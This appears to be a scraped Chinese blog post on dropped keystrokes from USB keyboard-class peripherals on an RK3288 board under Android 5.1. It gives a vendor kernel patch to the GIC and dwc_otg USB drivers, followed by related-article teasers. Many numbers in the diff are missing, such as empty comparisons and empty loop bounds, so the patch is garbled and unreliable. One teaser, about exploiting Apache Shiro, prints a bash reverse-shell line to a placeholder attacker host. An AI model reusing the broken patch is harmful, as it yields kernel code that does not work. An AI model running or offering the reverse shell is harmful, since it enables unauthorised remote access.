[RK3288] 外接USB设备出现丢数
CPU:RK3288
系统:Android 5.1
主板外接 USB 接口的外设,经常会出现丢数的现象,这种问题在很多 USB 接口的外设上都遇到过,例如:USB读卡器、USB扫描枪等
有一个共同点是外设在系统中作为一个键盘设备,相当于键盘输入。
直接上RK提供的补丁,此补丁优化很大,但是没有根本解决问题,偶尔还会出现丢数
- diff --git a/kernel/drivers/irqchip/irq-gic.c b/kernel/drivers/irqchip/irq-gic.c
- old mode
- new mode
- index ce24a7e..458edaa
- --- a/kernel/drivers/irqchip/irq-gic.c
- +++ b/kernel/drivers/irqchip/irq-gic.c
- @@ -, +, @@ static int gic_set_affinity(struct irq_data *d, const struct cpumask *mask_val,
- bit = gic_cpu_map[cpu] << shift;
- val = readl_relaxed(reg) & ~mask;
- writel_relaxed(val | bit, reg);
- + if((gic_irq(d)!=) && (gic_irq(d)!=))
- + writel_relaxed(val | bit, reg);
- raw_spin_unlock(&irq_controller_lock);
- return IRQ_SET_MASK_OK;
- @@ -, +, @@ static void __init gic_dist_init(struct gic_chip_data *gic)
- for (i = ; i < gic_irqs; i += )
- writel_relaxed(cpumask, base + GIC_DIST_TARGET + i * / );
- + writel_relaxed(0x01010f01, base + GIC_DIST_TARGET + 0x38);
- + writel_relaxed(0xa0a090a0, base + GIC_DIST_PRI + 0x38);
- + writel_relaxed(0x0f010101, base + GIC_DIST_TARGET + 0x34);
- + writel_relaxed(0x90a0a0a0, base + GIC_DIST_PRI + 0x34);
- +
- gic_dist_config(base, gic_irqs, NULL);
- #ifdef CONFIG_FIQ_DEBUGGER
- diff --git a/kernel/drivers/usb/dwc_otg_310/common_port/dwc_list.h b/kernel/drivers/usb/dwc_otg_310/common_port/dwc_list.h
- old mode
- new mode
- index 46f1da3..7b75033
- --- a/kernel/drivers/usb/dwc_otg_310/common_port/dwc_list.h
- +++ b/kernel/drivers/usb/dwc_otg_310/common_port/dwc_list.h
- @@ -, +, @@ struct { \
- (head)->cqh_last = (elm); \
- } while ()
- +#define DWC_CIRCLEQ_INSERT_COM(head, listelm, elm, field, com) do { \
- + DWC_CIRCLEQ_FOREACH(listelm, head, field) { \
- + if ((elm)->com < (listelm)->com) { \
- + DWC_CIRCLEQ_INSERT_BEFORE(head, listelm, elm, field); \
- + break; \
- + } else \
- + continue; \
- + } \
- + if (DWC_CIRCLEQ_PREV(listelm, field) != elm) \
- + DWC_CIRCLEQ_INSERT_TAIL(head, elm, field); \
- +} while ()
- +
- #define DWC_CIRCLEQ_REMOVE(head, elm, field) do { \
- if ((elm)->field.cqe_next == DWC_CIRCLEQ_END(head)) \
- (head)->cqh_last = (elm)->field.cqe_prev; \
- diff --git a/kernel/drivers/usb/dwc_otg_310/dwc_otg_hcd_intr.c b/kernel/drivers/usb/dwc_otg_310/dwc_otg_hcd_intr.c
- old mode
- new mode
- index 0e05b13..a1a067f
- --- a/kernel/drivers/usb/dwc_otg_310/dwc_otg_hcd_intr.c
- +++ b/kernel/drivers/usb/dwc_otg_310/dwc_otg_hcd_intr.c
- @@ -, +, @@ static void release_channel(dwc_otg_hcd_t *hcd,
- dwc_otg_transaction_type_e tr_type;
- int free_qtd;
- int continue_trans = ;
- + dwc_hc_t *hc_tmp = NULL;
- DWC_DEBUGPL(DBG_HCDV, " %s: channel %d, halt_status %d\n",
- __func__, hc->hc_num, halt_status);
- @@ -, +, @@ cleanup:
- * there's no need to clear the Channel Halted interrupt separately.
- */
- dwc_otg_hc_cleanup(hcd->core_if, hc);
- - DWC_CIRCLEQ_INSERT_TAIL(&hcd->free_hc_list, hc, hc_list_entry);
- + DWC_CIRCLEQ_INSERT_COM(&hcd->free_hc_list, hc_tmp, hc, hc_list_entry, hc_num);
- switch (hc->ep_type) {
- case DWC_OTG_EP_TYPE_CONTROL:
[RK3288] 外接USB设备出现丢数的更多相关文章
- C#:USB设备枚举 --转自CSDN作者:Splash
(一)DeviceIoControl的PInvoke /* ---------------------------------------------------------- 文件名称:Device ...
- C# 实现自定义的USB设备与上位机进行通信(上位机部分)
因为以前没用过USB,对USB也不了解,于是上网查了很多资料,不过网上的资料都是零零散散,不清不楚的,于是我自己总结了一下,下面几个链接是网上这么多零散资料里,我觉得比较有参考意义的. USB设备连接 ...
- Ubuntu/Windows下利用“HIDAPI”库函数实现与Hid类USB设备通信
一.背景: 最近在做的一个项目需要使用USB传递数据,对USB理解不是很深,USB的系统驱动编写则更是天方 夜谭,因此将设备配置成HID类设备成为了首选.其最大的好处在于,LINUX/Windows系 ...
- usb设备驱动描述,王明学learn
usb设备驱动 本章主要内容包含以下:USB总线介绍,USB协议分析,USB系统架构 一.USB总线介绍 1.1USB发展史 USB(Universal Serial Bus)通用串行总线,是一种外部 ...
- USB协议-USB设备的枚举过程
USB主机在检测到USB设备插入后,就要对设备进行枚举了.为什么要枚举?枚举就是从设备读取各种描述符信息,这样主机就可以根据这些信息来加载合适的驱动程序,从而知道设备是什么样的设备,如何进行通信等. ...
- USB设备的基本概念
在终端用户看来,USB设备为主机提供了多种多样的附加功能,如文件传输,声音播放等,但对USB主机来说,它与所有USB设备的接口都是一致的.一个USB设备由3个功能模块组成:USB总线接口.USB逻辑设 ...
- Linux usb子系统(二):USB设备驱动usb-skeleton.c
usb驱动分为通过usbfs操作设备的用户空间驱动,内核空间的内核驱动.两者不能同时进行,否则容易引发对共享资源访问的问题,死锁!使用了内核驱动,就不能在usbfs里驱动该设备. 下面转载的一篇分析u ...
- USB系列之二:读取USB设备的描述符
在前面的文章中,我们已经给出了USB协议的链接地址,从这篇文章起,我们会涉及到许多USB 1.1的内容,我们的指导思想是先从熟悉USB 1.1协议入手,先使用现成的HCD和USBD,直接面对客户端驱动 ...
- 厂商自定义USB设备固件程序及特性
通过前面的学习,大家应该对USB固件程序结构有了比较深的认识,现在再来详细说说固件里决定设备识别成厂商自定义USB设备的地方有哪些,或者说厂商自定义USB设备的固件特性有哪些. 之前不止一次说过学习U ...
随机推荐
- 【实战】Apache shiro<=1.2.4 getshell
方法一 利用JRMPClient 反弹shell方式 Bash: bash -i >& /dev/tcp/attackIP/7777 0>&1 /bin/bash -i & ...
- PAT基础级-钻石段位样卷2-7-4 6翻了 (15 分)
“666”是一种网络用语,大概是表示某人很厉害.我们很佩服的意思.最近又衍生出另一个数字“9”,意思是“6翻了”,实在太厉害的意思.如果你以为这就是厉害的最高境界,那就错啦 —— 目前的最高境界是数字 ...
- CMake---基础练习1
因为卡在一个问题上,几经排除应该可能是CMakeLists.txt写的不正确,但是又生成了可执行文件,运行可执行文件报错.多方排除,应该是CMakeLists.txt加载动态库的时候,函数加载的不全. ...
- 通过 cross apply 实现函数转换成表并与原表进行关联
create table tb_cross_apply ( id int identity, multivalue ) ) insert into tb_cross_apply VALUES ('A| ...
- LINUX 新手 入门 教程
新手入门教程 点评: linux 入门 作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声
- Selenium常用API的使用java语言之1-环境安装之Java
(一)环境安装之Java 1.安装java 点击 JDK8下载,根据自己的平台,选择相应的版本进行下载. 小知识: Java环境分JDK和JRE ,JDK就是Java Development Kit. ...
- Python Django 版本对应表
- IntelliJ IDEA使用教程一 介绍&安装&配置
http://blog.csdn.net/nextyu/article/details/47206015 全套
- 洛谷 P3955 图书管理员 题解
每日一题 day12 打卡 Analysis 模拟+快速幂 先把图书的编码存起来排序,保证第一个找到的就是最小的.如果要求一个数后x位,就将这个数模10的x次方,同理,我们可以通过这个规律来判断后缀. ...
- kubernetes 部署metricserver
本篇适用于kubeadm部署的k8s的集群 安装环境:首先要部署好k8s的集群,版本是1.11.1,我的虚拟机部署的,一个master节点,一个node节点.笔记本性能有限 下载metrics-ser ...